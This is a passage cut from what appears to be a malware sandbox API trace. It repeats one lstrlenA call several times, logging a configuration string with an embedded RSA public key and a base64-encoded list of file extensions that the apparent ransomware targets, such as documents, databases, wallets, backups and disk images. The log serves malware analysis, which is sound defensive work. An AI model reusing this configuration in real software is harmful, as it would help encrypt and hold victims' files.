FpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0